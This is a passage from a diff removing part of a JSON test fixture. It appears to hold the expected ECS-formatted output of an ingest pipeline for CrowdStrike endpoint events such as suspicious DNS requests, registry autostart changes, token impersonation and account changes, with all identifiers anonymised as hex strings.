-                "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1748097171.316\",\"ConfigStateHash\":\"4080600092\",\"ContextProcessId\":\"5004051100005\",\"DomainName\":\"da624cbc09cb196e3c026\",\"ContextThreadId\":\"306930070760507\",\"aip\":\"216.160.83.56\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"Entitlements\":\"76\",\"name\":\"cecd6d00633889a0e5140e\",\"EventOrigin\":\"1\",\"id\":\"8d4c70642deafa7c185dae1766913cc2b684\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e0391be8776b91e27451ffc78839341a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}",
-                "outcome": "success",
-                "type": [
-                    "start",
-                    "protocol"
-                ]
-            },
-            "host": {
-                "id": "e0391be8776b91e27451ffc78839341a",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SuspiciousDnsRequest",
-            "network": {
-                "protocol": "dns"
-            },
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "e0391be8776b91e27451ffc78839341a",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "5004051100005",
-                "thread": {
-                    "id": 306930070760507
-                }
-            },
-            "related": {
-                "hash": [
-                    "4080600092"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "9968901000",
-                "ContextProcessId": "6460070801000",
-                "ContextTimeStamp": "2025-06-26T22:19:46.666Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "PatternId": "730",
-                "RegConfigClass": "40",
-                "RegConfigFlags": "0",
-                "RegConfigIndex": "1",
-                "RegConfigValueType": "0",
-                "RegObjectName": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
-                "RegOperationType": "1",
-                "RegStringValue": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7",
-                "RegType": "1",
-                "RegValueName": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17",
-                "TargetCommandLineParameters": "8 829462947afcd60b102 5385ab5330ba103afe7",
-                "TargetSHA256HashData": "61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f",
-                "name": "d6768a557290bddc8f464a531"
-            },
-            "device": {
-                "id": "f7e49d5e0a65ac9907089989782717df"
-            },
-            "event": {
-                "action": "modification",
-                "category": [
-                    "malware",
-                    "registry",
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"ContextThreadId\":\"908900717009000\",\"aip\":\"81.2.69.142\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\79f42eec\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"1\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"TargetCommandLineParameters\":\"8 829462947afcd60b102 5385ab5330ba103afe7\",\"PatternId\":\"730\",\"RegConfigValueType\":\"0\",\"RegConfigFlags\":\"0\",\"EventOrigin\":\"1\",\"id\":\"6a3e0c317c79a163daff6f7ff43b0f8b638f\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7\",\"RegConfigClass\":\"40\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SuspiciousRegAsepUpdate\",\"ContextTimeStamp\":\"1750976386.666\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"6460070801000\",\"RegType\":\"1\",\"RegConfigIndex\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17\",\"CommandLine\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe\",\"TargetSHA256HashData\":\"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\",\"Entitlements\":\"16\",\"name\":\"d6768a557290bddc8f464a531\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e",
-                "extension": "exe",
-                "name": "434d12.exe",
-                "path": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe",
-                "type": "file"
-            },
-            "host": {
-                "id": "f7e49d5e0a65ac9907089989782717df",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SuspiciousRegAsepUpdate",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "f7e49d5e0a65ac9907089989782717df",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "5f20a496dc8",
-                    "abc7e",
-                    "14a2e558d6bf189c90709e05527870fad3d5d824c560",
-                    "2562f5cbf8a8bf3b250bd51a8fe"
-                ],
-                "args_count": 4,
-                "command_line": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe",
-                "entity_id": "6460070801000",
-                "executable": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe",
-                "name": "434d12.exe",
-                "thread": {
-                    "id": 908900717009000
-                }
-            },
-            "registry": {
-                "data": {
-                    "strings": [
-                        "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7"
-                    ],
-                    "type": "REG_SZ"
-                },
-                "key": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
-                "path": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17",
-                "value": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17"
-            },
-            "related": {
-                "hash": [
-                    "9968901000"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "2000535704803",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "ImpersonatedUserName": "9bf10282",
-                "OriginalParentAuthenticationId": "891487",
-                "OriginalUserName": "3d0d64ac1d9faf",
-                "OriginalUserSid": "S-33232-15769-33973-56426-34173-11558-64704-78944",
-                "ParentAuthenticationId": "221030",
-                "PatternId": "830",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "d1330c5a8472345299901dcafcb6e741c04f",
-                "name": "4b8f55f326fbe33b3cf"
-            },
-            "device": {
-                "id": "8ac4bf42d697d6476a2087a305f0a8a7"
-            },
-            "event": {
-                "action": "TokenImpersonated",
-                "category": [
-                    "process",
-                    "authentication"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "d1330c5a8472345299901dcafcb6e741c04f|8ac4bf42d697d6476a2087a305f0a8a7|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ImpersonatedUserName\":\"9bf10282\",\"event_simpleName\":\"TokenImpersonated\",\"OriginalParentAuthenticationId\":\"891487\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2000535704803\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ParentAuthenticationId\":\"221030\",\"PatternId\":\"830\",\"OriginalUserName\":\"3d0d64ac1d9faf\",\"Entitlements\":\"56\",\"name\":\"4b8f55f326fbe33b3cf\",\"EventOrigin\":\"1\",\"id\":\"d1330c5a8472345299901dcafcb6e741c04f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8ac4bf42d697d6476a2087a305f0a8a7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"OriginalUserSid\":\"S-33232-15769-33973-56426-34173-11558-64704-78944\"}",
-                "outcome": "success",
-                "type": [
-                    "info",
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "8ac4bf42d697d6476a2087a305f0a8a7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "TokenImpersonated",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "8ac4bf42d697d6476a2087a305f0a8a7",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2000535704803"
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "3d0d64ac1d9faf",
-                    "9bf10282",
-                    "S-33232-15769-33973-56426-34173-11558-64704-78944"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-33232-15769-33973-56426-34173-11558-64704-78944",
-                "name": "3d0d64ac1d9faf",
-                "target": {
-                    "name": "9bf10282"
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1003503072",
-                "ContextProcessId": "9000960041280",
-                "ContextTimeStamp": "2025-09-11T16:50:47.289Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "1",
-                "ExtendedKeyUsages": "0",
-                "ImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll",
-                "MappedFromUserMode": "1",
-                "ModuleCharacteristics": "7600",
-                "PublicKeys": "0",
-                "SignatureErrorState": "36",
-                "SignatureState": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "fbdd0412d2d062a8e7f05ca768974728fd13",
-                "name": "7218b6fd46f62d142cab"
-            },
-            "device": {
-                "id": "748b16033ae2f04b415a38442969be05"
-            },
-            "dll": {
-                "hash": {
-                    "sha256": "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1"
-                },
-                "name": "a849da.dll"
-            },
-            "event": {
-                "action": "UnsignedModuleLoad",
-                "category": [
-                    "library"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "fbdd0412d2d062a8e7f05ca768974728fd13|748b16033ae2f04b415a38442969be05|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"SignatureErrorState\":\"36\",\"ModuleCharacteristics\":\"7600\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"SignatureState\":\"0\",\"MappedFromUserMode\":\"1\",\"EventOrigin\":\"1\",\"id\":\"fbdd0412d2d062a8e7f05ca768974728fd13\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UnsignedModuleLoad\",\"ContextTimeStamp\":\"1757609447.289\",\"ConfigStateHash\":\"1003503072\",\"ContextProcessId\":\"9000960041280\",\"SHA256HashData\":\"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1\",\"ExtendedKeyUsages\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"4000960041280\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a849da.dll\",\"Entitlements\":\"26\",\"name\":\"7218b6fd46f62d142cab\",\"aid\":\"748b16033ae2f04b415a38442969be05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "748b16033ae2f04b415a38442969be05",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UnsignedModuleLoad",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "748b16033ae2f04b415a38442969be05",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "4000960041280",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1",
-                    "1003503072"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ContextTimeStamp": "2025-09-22T13:04:44.942Z",
-                "DomainSid": "S-76712-65017-53475-35458-99339-49376",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "46",
-                "EventOrigin": "1",
-                "GroupRid": "53034222",
-                "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b",
-                "InterfaceVersion": "30255",
-                "RpcClientProcessId": "4040097800001",
-                "RpcClientThreadId": "274278017040400",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "30",
-                "UserRid": "04f8c66f",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f",
-                "name": "6f757290de34b1b1afde18238"
-            },
-            "device": {
-                "id": "822724472847066e07121bc67f0675c0"
-            },
-            "event": {
-                "action": "UserAccountAddedToGroup",
-                "category": [
-                    "configuration",
-                    "iam"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f|822724472847066e07121bc67f0675c0|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"UserAccountAddedToGroup\",\"ContextTimeStamp\":\"1758546284.942\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"30255\",\"GroupRid\":\"53034222\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"274278017040400\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"UserRid\":\"04f8c66f\",\"event_platform\":\"Win\",\"DomainSid\":\"S-76712-65017-53475-35458-99339-49376\",\"RpcOpNum\":\"30\",\"Entitlements\":\"46\",\"name\":\"6f757290de34b1b1afde18238\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"4040097800001\",\"id\":\"4c0cf1755eaa94d6f52251e3d52f5ff6902f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"822724472847066e07121bc67f0675c0\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change",
-                    "group"
-                ]
-            },
-            "host": {
-                "id": "822724472847066e07121bc67f0675c0",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserAccountAddedToGroup",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "822724472847066e07121bc67f0675c0",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "2015000411",
-                "ContextTimeStamp": "2025-10-21T07:53:06.899Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b",
-                "InterfaceVersion": "50255",
-                "RpcNestingLevel": "1",
-                "RpcOpNum": "70",
-                "UserRid": "90dd1c44",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "bd490a761a3f397c1a778b589441993b3091",
-                "name": "92d863b43efb433535db"
-            },
-            "device": {
-                "id": "ea33b281ab769f0d09855298c2b43f40"
-            },
-            "event": {
-                "action": "UserAccountCreated",
-                "category": [
-                    "configuration",
-                    "iam"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "bd490a761a3f397c1a778b589441993b3091|ea33b281ab769f0d09855298c2b43f40|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"UserAccountCreated\",\"ContextTimeStamp\":\"1761033186.899\",\"UserName\":\"dcf80328\",\"ConfigStateHash\":\"2015000411\",\"InterfaceVersion\":\"50255\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"90dd1c44\",\"event_platform\":\"Win\",\"RpcOpNum\":\"70\",\"Entitlements\":\"86\",\"name\":\"92d863b43efb433535db\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"id\":\"bd490a761a3f397c1a778b589441993b3091\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea33b281ab769f0d09855298c2b43f40\",\"RpcNestingLevel\":\"1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "host": {
-                "id": "ea33b281ab769f0d09855298c2b43f40",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserAccountCreated",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "ea33b281ab769f0d09855298c2b43f40",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "related": {
-                "hash": [
-                    "2015000411"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "dcf80328"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "dcf80328"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "2080025170",
-                "ContextTimeStamp": "2025-05-02T01:01:24.771Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b",
-                "InterfaceVersion": "60255",
-                "RpcClientProcessId": "7301001105000",
-                "RpcClientThreadId": "127103017599004",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "90",
-                "UserRid": "77bd1eaf",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "3229287b6fe92ef5336c913502cf9ef8fdf3",
-                "name": "0b8f5280c9729fa19531"
-            },
-            "device": {
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
-            },
-            "event": {
-                "action": "UserAccountDeleted",
-                "category": [
-                    "configuration",
-                    "iam"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "3229287b6fe92ef5336c913502cf9ef8fdf3|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"UserAccountDeleted\",\"ContextTimeStamp\":\"1746147684.771\",\"UserName\":\"6621349aab8086fca29\",\"ConfigStateHash\":\"2080025170\",\"InterfaceVersion\":\"60255\",\"aip\":\"89.160.20.128\",\"RpcClientThreadId\":\"127103017599004\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"77bd1eaf\",\"event_platform\":\"Win\",\"RpcOpNum\":\"90\",\"Entitlements\":\"76\",\"name\":\"0b8f5280c9729fa19531\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"7301001105000\",\"id\":\"3229287b6fe92ef5336c913502cf9ef8fdf3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "host": {
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserAccountDeleted",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "related": {
-                "hash": [
-                    "2080025170"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "user": [
-                    "6621349aab8086fca29"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "6621349aab8086fca29"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "BoundingLimitCount": 2,
-                "BoundingLimitDuration": "9486640",
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "1635100019002",
-                "ContextTimeStamp": "2025-06-15T20:35:09.552Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "ExceptionAddress": "1700460906",
-                "ExceptionCode": "5205000410",
-                "ExceptionInformation0": "8",
-                "FullExceptionRecord": "5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "5829a31e854865b7f675feb7d878b239adc2",
-                "name": "709aee1e8c3c110bf8"
-            },
-            "device": {
-                "id": "c98cd5436ddf270308dd9d267fd914a0"
-            },
-            "event": {
-                "action": "UserExceptionDEP",
-                "category": [
-                    "process",
-                    "malware"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "5829a31e854865b7f675feb7d878b239adc2|c98cd5436ddf270308dd9d267fd914a0|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"UserExceptionDEP\",\"ContextTimeStamp\":\"1750019709.552\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1635100019002\",\"FullExceptionRecord\":\"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263\",\"FullContext\":\"\",\"ContextThreadId\":\"34508563003090\",\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"2\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ExceptionAddress\":\"1700460906\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"709aee1e8c3c110bf8\",\"ExceptionInformation0\":\"8\",\"EventOrigin\":\"1\",\"id\":\"5829a31e854865b7f675feb7d878b239adc2\",\"ExceptionCode\":\"5205000410\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c98cd5436ddf270308dd9d267fd914a0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "c98cd5436ddf270308dd9d267fd914a0",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserExceptionDEP",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "c98cd5436ddf270308dd9d267fd914a0",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "1635100019002",
-                "thread": {
-                    "id": 34508563003090
-                }
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "BoundingLimitCount": 3,
-                "BoundingLimitDuration": "9486640",
-                "ConfigStateHash": "6080600092",
-                "ContextProcessId": "8108160208087",
-                "ContextTimeStamp": "2025-07-21T22:33:37.791Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FontBuffer": "0",
-                "FontBufferLength": "0",
-                "FontFileCount": 1,
-                "FontFileName": "\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf",
-                "FontLoadOperation": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "3b3a10fec73cc70efcba7d10700c60647a00",
-                "name": "be33367389afc8"
-            },
-            "device": {
-                "id": "30fcb474d1c19854928cfea68625715f"
-            },
-            "event": {
-                "action": "UserFontLoad",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "3b3a10fec73cc70efcba7d10700c60647a00|30fcb474d1c19854928cfea68625715f|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
